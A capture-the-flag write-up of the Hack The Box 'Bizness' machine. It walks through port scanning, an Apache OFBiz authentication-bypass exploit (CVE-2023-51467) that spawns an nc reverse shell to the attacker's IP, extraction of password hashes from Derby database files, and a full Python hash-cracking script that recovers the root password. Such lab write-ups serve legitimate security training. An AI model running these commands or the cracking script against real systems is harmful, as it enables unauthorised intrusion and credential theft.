Enumeration
Let’s start by running a port sacn on the machine.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
| 256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_ 256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
443/tcp open ssl/http nginx 1.18.0
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Issuer: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-12-14T20:03:40
| Not valid after: 2328-11-10T20:03:40
| MD5: b182:2fdb:92b0:2036:6b98:8850:b66e:da27
|_SHA-1: 8138:8595:4343:f40f:937b:cc82:23af:9052:3f5d:eb50
|_http-server-header: nginx/1.18.0
| tls-nextprotoneg:
|_ http/1.1
|_http-title: Did not follow redirect to https://bizness.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_ssl-date: TLS randomness does not represent time
1097/tcp open java-rmi Java RMI
| rmi-dumpregistry:
| Object
| com.sun.jndi.rmi.registry.ReferenceWrapper_Stub
| @127.0.1.1:40495
| extends
| java.rmi.server.RemoteStub
| extends
|_ java.rmi.server.RemoteObject
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
There are 4 open ports on the machine:
- 22 (SSH): OpenSSH 8.4p1 Debian 5+deb11u3
- 80 (HTTP): nginx 1.18.0
- 443 (HTTPS): nginx 1.18.0
- 1097 (Java RMI): Java RMI
Let’s start with adding the machine IP to the /etc/hosts
file.
echo "10.10.11.252 bizness.htb" | sudo tee -a /etc/hosts
I will search for directories using dirsearch
.
sudo apt install dirsearch
dirsearch -u https://bizness.htb -e*
I found a directory /solr/admin/
which is a Solr admin panel. I will try to access it.
We will need credentials here, I tried some simple ones but none of them worked.
After some research, I found that the version of OFBiz is 18.12. On December 26, 2023, researchers at SonicWall announced the discovery of a zero-day security flaw in Apache OFBiz. Tracked as CVE-2023-51467, the vulnerability allows threat actors to bypass authentication and perform a Server-Side Request Forgery (SSRF). CVE-2023-51467 earned a critical CVSS score of 9.8. According to researchers at SonicWall, a patch released for another vulnerability, CVE-2023-49070, left the initial issue unresolved, making authentication bypass possible.
source
Therefore, I will try to exploit this vulnerability by using this exploit
The script respond that Apache OFBiz instance seems to be vulnerable. Now let’s try to reverse shell.
python3 exploit.py --url https://bizness.htb --cmd "nc 10.10.14.73 9001 -e /bin/bash"
Don’t forget to start a listener on your machine.
nc -lvnp 9001
I got the user.txt
flag from /home/ofbiz/
directory.
Privilege Escalation
I think this shell is not stable, so I will try to get a stable shell.
python3 -c 'import pty; pty.spawn("/bin/bash")'
And as for Derby ::: Apache Derby is an open-source relational database management system (RDBMS) developed by the Apache Software Foundation. It’s implemented entirely in Java and can be embedded in Java programs for online transaction processing which has files in .dat format.
It is located in /opt/ofbiz/runtime/data/derby/ofbiztenant/seg0
directory.
There is a readme file that tells us to not touch any files in the directory.
Alright let’s try to get all the files in the directory and search for the hashes.
cat /opt/ofbiz/runtime/data/derby/ofbiztenant/seg0/* > dat_files.txt
strings dat_files.txt | grep SHA
Voila we got the hashes $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I
There is a GitHub repository of OFBiz where I found the HashCrypt.java
function that is used to hash the password. You can find it here
Now we have known the hashing algorithm, let’s try to crack the hash by creating a Python script.
import hashlib
import base64
import os
from tqdm import tqdm
class PasswordEncryptor:
def __init__(self, hash_type="SHA", pbkdf2_iterations=10000):
"""
Initialize the PasswordEncryptor object with a hash type and PBKDF2 iterations.
:param hash_type: The hash algorithm to use (default is SHA).
:param pbkdf2_iterations: The number of iterations for PBKDF2 (default is 10000).
"""
self.hash_type = hash_type
self.pbkdf2_iterations = pbkdf2_iterations
def crypt_bytes(self, salt, value):
"""
Crypt a password using the specified hash type and salt.
:param salt: The salt used in the encryption.
:param value: The password value to be encrypted.
:return: The encrypted password string.
"""
if not salt:
salt = base64.urlsafe_b64encode(os.urandom(16)).decode('utf-8')
hash_obj = hashlib.new(self.hash_type)
hash_obj.update(salt.encode('utf-8'))
hash_obj.update(value)
hashed_bytes = hash_obj.digest()
result = f"${self.hash_type}${salt}${base64.urlsafe_b64encode(hashed_bytes).decode('utf-8').replace('+', '.')}"
return result
def get_crypted_bytes(self, salt, value):
"""
Get the encrypted bytes for a password.
:param salt: The salt used in the encryption.
:param value: The password value to get encrypted bytes for.
:return: The encrypted bytes as a string.
"""
try:
hash_obj = hashlib.new(self.hash_type)
hash_obj.update(salt.encode('utf-8'))
hash_obj.update(value)
hashed_bytes = hash_obj.digest()
return base64.urlsafe_b64encode(hashed_bytes).decode('utf-8').replace('+', '.')
except hashlib.NoSuchAlgorithmException as e:
raise Exception(f"Error while computing hash of type {self.hash_type}: {e}")
# Example usage:
hash_type = "SHA1"
salt = "d"
search = "$SHA1$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I="
wordlist = '/usr/share/wordlists/rockyou.txt'
# Create an instance of the PasswordEncryptor class
encryptor = PasswordEncryptor(hash_type)
# Get the number of lines in the wordlist for the loading bar
total_lines = sum(1 for _ in open(wordlist, 'r', encoding='latin-1'))
# Iterate through the wordlist with a loading bar and check for a matching password
with open(wordlist, 'r', encoding='latin-1') as password_list:
for password in tqdm(password_list, total=total_lines, desc="Processing"):
value = password.strip()
# Get the encrypted password
hashed_password = encryptor.crypt_bytes(salt, value.encode('utf-8'))
# Compare with the search hash
if hashed_password == search:
print(f'Found Password:{value}, hash:{hashed_password}')
break # Stop the loop if a match is found
Here we go, we got the password monkeybizness
for the root user.
Conclusion
This was a fun machine, I am not sure why it has such low reviews. I learned about Apache OFBiz and how to exploit it. I also learned about Apache Derby and how to crack the hashes. I hope you enjoyed this write-up. Thank you for reading.